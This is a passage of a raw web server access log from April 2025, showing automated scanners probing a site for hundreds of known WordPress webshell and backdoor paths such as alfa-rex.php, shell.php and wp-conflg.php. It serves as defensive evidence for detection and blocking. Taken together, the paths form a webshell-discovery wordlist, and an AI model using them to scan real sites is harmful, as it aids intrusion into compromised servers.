172.176.69.211 - - [07/Apr/2025:19:33:55 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:56 -0400] "GET /admin/uploads/media.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:57 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:58 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:59 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:00 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:00 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:01 -0400] "GET /wp-content/themes/twentytwentytwo/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:01 -0400] "GET /index/lock.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:02 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:02 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:03 -0400] "GET /wp-content/config.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:04 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:05 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:06 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:07 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:08 -0400] "GET /css/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:09 -0400] "GET /wp-includes/Requests/Utility/cc.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:10 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:11 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:12 -0400] "GET /wp-admin/update.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:12 -0400] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:13 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:14 -0400] "GET /wp-content/mu-plugins/gecko.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:15 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:15 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:16 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:17 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:18 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:18 -0400] "GET /ALFA_DATA/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:19 -0400] "GET /wp-admin/css/colors/blue/moon.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:20 -0400] "GET /wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:21 -0400] "GET /wp-includes/html-api/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:21 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:22 -0400] "GET /wp-admin/includes/m.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:23 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:24 -0400] "GET /admin/fckeditor/editor/filemanager/alfanew.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:25 -0400] "GET /wp-admin/user/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:25 -0400] "GET /wp-includes/IXR/shell.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:26 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:27 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:27 -0400] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:28 -0400] "GET /wp-includes/Requests/Utility/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:29 -0400] "GET /wp-content/upgrade-temp-backup/ty.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:29 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:30 -0400] "GET /index/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:30 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:31 -0400] "GET /include/wp-configs.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:31 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:32 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:32 -0400] "GET /wp-includes/sodium_compat/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:33 -0400] "GET /bg/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:33 -0400] "GET /wp-content/plugins/core-plugin/file-manager.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:34 -0400] "GET /wp-content/uploads/423_index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:35 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:35 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:36 -0400] "GET /wp-admin/byp.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:36 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:37 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:37 -0400] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:38 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:38 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:39 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:40 -0400] "GET /wp-includes/html-api/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:40 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:41 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:41 -0400] "GET /assets/plugins/jquery-file-upload/server/php/include.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:42 -0400] "GET /images/lmfi2.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:43 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:44 -0400] "GET /wp-includes/Text/Diff/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:44 -0400] "GET /images/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:45 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:46 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:46 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:47 -0400] "GET /wp-includes/Requests/file.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:48 -0400] "GET /wp-content/themes/seotheme/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:48 -0400] "GET /wp-includes/widgets/parx.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:48 -0400] "GET /wp-content/plugins/Cache/footer.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:49 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:50 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:50 -0400] "GET /wp-admin/admin-post.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:51 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:51 -0400] "GET /wp-admin/includes/cong.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:52 -0400] "GET /wp-admin/network/shell.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:52 -0400] "GET /cgi-bin/upfile.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:53 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:53 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:54 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:54 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:55 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:55 -0400] "GET /wp-content/plugins/pwnd/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:56 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:57 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:57 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:58 -0400] "GET /.well-known/cache-compat.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:58 -0400] "GET /wp-mail.php/wp-includes/ID3/rnEPv9.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:34:59 -0400] "GET /wp-includes/php-compat/content.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:00 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:00 -0400] "GET /wp-includes/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:01 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:02 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:05 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:08 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:11 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:11 -0400] "GET /css/install.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:13 -0400] "GET /wp-includes/theme-compat/wp-conflg.php/wp-content/plugins/google-seo-rank/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:15 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:17 -0400] "GET /wp-admin/css/colors/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:18 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:18 -0400] "GET /wp-includes/fonts/install.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:19 -0400] "GET /assets/edit.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:20 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:22 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:23 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:25 -0400] "GET /wp-admin/user/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:26 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:27 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:28 -0400] "GET /wp-includes/IXR/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:29 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:30 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:31 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:32 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:35:34 -0400] "GET /images/stories/admin-post.php HTTP/1.1" 301 795 "-" "-" 47.243.105.139 - - [07/Apr/2025:21:10:31 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.2909.181 Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:14:15 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:14:25 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:14:30 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:14:35 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:14:40 -0400] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:14:46 -0400] "GET /asd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:14:51 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:14:56 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:15:01 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:15:08 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:15:13 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:15:19 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 64.23.244.160 - - [07/Apr/2025:21:15:21 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 139.59.119.11 - - [07/Apr/2025:21:15:24 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:15:29 -0400] "GET /wp-includes/Requests/network.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:15:35 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:15:39 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:15:48 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:15:58 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:16:03 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:16:08 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:16:15 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:16:19 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:16:24 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:16:28 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:16:33 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:16:43 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:16:51 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:16:55 -0400] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:17:01 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:17:09 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:17:16 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:17:23 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:17:30 -0400] "GET /sad/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:17:36 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:17:41 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:17:50 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:17:56 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:18:01 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:18:07 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:18:13 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie 